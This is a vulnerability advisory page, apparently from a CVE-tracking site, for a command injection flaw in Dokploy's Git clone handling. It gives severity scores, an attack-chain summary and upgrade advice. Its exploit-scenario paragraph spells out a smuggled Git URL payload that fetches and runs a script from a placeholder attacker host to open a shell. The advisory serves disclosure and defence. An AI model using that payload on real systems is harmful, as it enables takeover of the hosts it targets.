Skip to main content

Dokploy CVE-2026-72874

| EUVDEUVD-2026-55739 HIGH
OS Command Injection (CWE-78)
2026-08-10 GitHub_M
Command Injection Dokploy
8.7
CVSS 4.0 · Vendor: GitHub_M
Share

Severity by source

Vendor (GitHub_M) PRIMARY
8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
8.8 HIGH

Network-reachable via Dokploy web/API, requires authenticated low-privileged account to configure custom Git URL, no user interaction beyond triggering deployment, full host compromise with no scope change.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

4
Patch available
Aug 10, 2026 - 20:04 EUVD
Source Code Evidence Fetched
Aug 10, 2026 - 19:48 vuln.today
Analysis Generated
Aug 10, 2026 - 19:48 vuln.today
CVE Published
Aug 10, 2026 - 18:57 cve.org
HIGH 8.7

DescriptionCVE.org

Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, cloneGitRepository in packages/server/src/utils/providers/git.ts interpolates customGitUrl and customGitBranch into a git clone command passed to execAsync or execAsyncRemote, allowing an authenticated user with application access to execute arbitrary operating system commands on the Dokploy host by setting a malicious custom Git URL and triggering deployment. This issue is fixed in version 0.29.13.

AnalysisAI

OS command injection in Dokploy before 0.29.13 allows any authenticated user with application access to execute arbitrary commands on the Dokploy host by supplying malicious values for customGitUrl or customGitBranch and triggering a deployment. The cloneGitRepository function in packages/server/src/utils/providers/git.ts interpolates these user-controlled parameters directly into shell commands passed to execAsync or execAsyncRemote without any quoting or escaping. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts
Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Authenticate as low-privileged Dokploy user
Delivery
Configure application with malicious customGitUrl or customGitBranch containing shell metacharacters
Exploit
Trigger application deployment
Execution
cloneGitRepository interpolates unsanitized input into shell command
Impact
Arbitrary OS command executes on Dokploy host with server process privileges
Sign in to reveal

Vulnerability AssessmentAI

Exploitation Exploitation requires a valid Dokploy account with permission to create or modify applications and set a custom Git repository URL and branch (the customGitUrl and customGitBranch fields). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 score of 8.7 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) accurately reflects the threat profile: network-accessible, low complexity, requiring only authenticated low-privileged access, with full confidentiality, integrity, and availability impact on the host. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An authenticated Dokploy user with application creation or modification rights sets customGitUrl to a value such as https://github.com/o/r.git$(curl http://attacker.example/shell.sh|sh) and triggers a deployment. Dokploy's cloneGitRepository function interpolates this string directly into a git clone shell command, causing the subshell expression to execute with the privileges of the Dokploy server process, granting the attacker an interactive or reverse shell on the host. …
Remediation Upgrade to Dokploy v0.29.13 or later, which is confirmed available at https://github.com/Dokploy/dokploy/releases/tag/v0.29.13. … Detailed patch versions, workarounds, and compensating controls in full report.
Sign in to read full assessment

Recommended ActionAI

Within 24 hours, identify all Dokploy deployments in production and staging environments and document current versions. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Dokploy

View all
CVE-2026-24841 CRITICAL POC
9.9 Jan 28

Dokploy self-hosted PaaS prior to 0.26.6 has a critical command injection vulnerability (CVSS 9.9) allowing authenticate
CVE-2026-24840 HIGH POC
8.0 Jan 28

Dokploy versions before 0.26.6 contain hardcoded database credentials in the installation script, causing nearly all dep
CVE-2026-72901 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated low-privilege member run arbitrary

CVE-2026-45631 CRITICAL
10.0 May 29

Remote code execution in Dokploy 0.27.0 through 0.29.2 allows unauthenticated attackers to forge email-verification JWTs
CVE-2026-72902 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hostable PaaS) before 0.29.13 lets an authenticated user run arbitrary OS commands on
CVE-2026-72867 CRITICAL
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
CVE-2026-72862 CRITICAL
9.9 Aug 10

Command injection in Dokploy self-hosted PaaS versions prior to 0.29.13 lets an authenticated user with database-service
CVE-2026-72872 CRITICAL
9.9 Aug 10

OS command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets a low-privileged team member with service-deploym
CVE-2026-72868 CRITICAL
9.9 Aug 10

Command injection in Dokploy self-hosted PaaS before 0.29.13 lets a low-privileged organization member run arbitrary OS

CVE-2026-72882 CRITICAL
9.9 Aug 10

OS command injection in Dokploy (self-hosted PaaS) version 0.28.8 and earlier lets an authenticated user with permission
CVE-2026-72869 CRITICAL
9.9 Aug 10

OS command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated user with the backup:restore per
CVE-2026-72865 CRITICAL
9.9 Aug 10

OS command injection in Dokploy self-hosted PaaS prior to 0.29.13 lets an authenticated project member with compose writ

Same weakness CWE-78 – OS Command Injection

View all
CVE-2019-15107 CRITICAL POC
9.8
CVE-2024-51378 CRITICAL POC
9.8
CVE-2014-6271 CRITICAL POC
9.8
CVE-2018-11138 CRITICAL POC
9.8
CVE-2014-6278 HIGH POC
8.8
CVE-2017-6334 HIGH POC
8.8
CVE-2024-50603 CRITICAL POC
10.0
CVE-2024-9474 MEDIUM POC
6.9

Same technique Command Injection

View all
CVE-2024-21887 CRITICAL POC
9.1
CVE-2019-15107 CRITICAL POC
9.8
CVE-2024-51378 CRITICAL POC
9.8
CVE-2012-1823 CRITICAL POC
9.8
CVE-2016-1555 CRITICAL POC
9.8
CVE-2014-6271 CRITICAL POC
9.8
CVE-2024-55956 CRITICAL POC
9.8
CVE-2018-11138 CRITICAL POC
9.8

Share

CVE-2026-72874 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy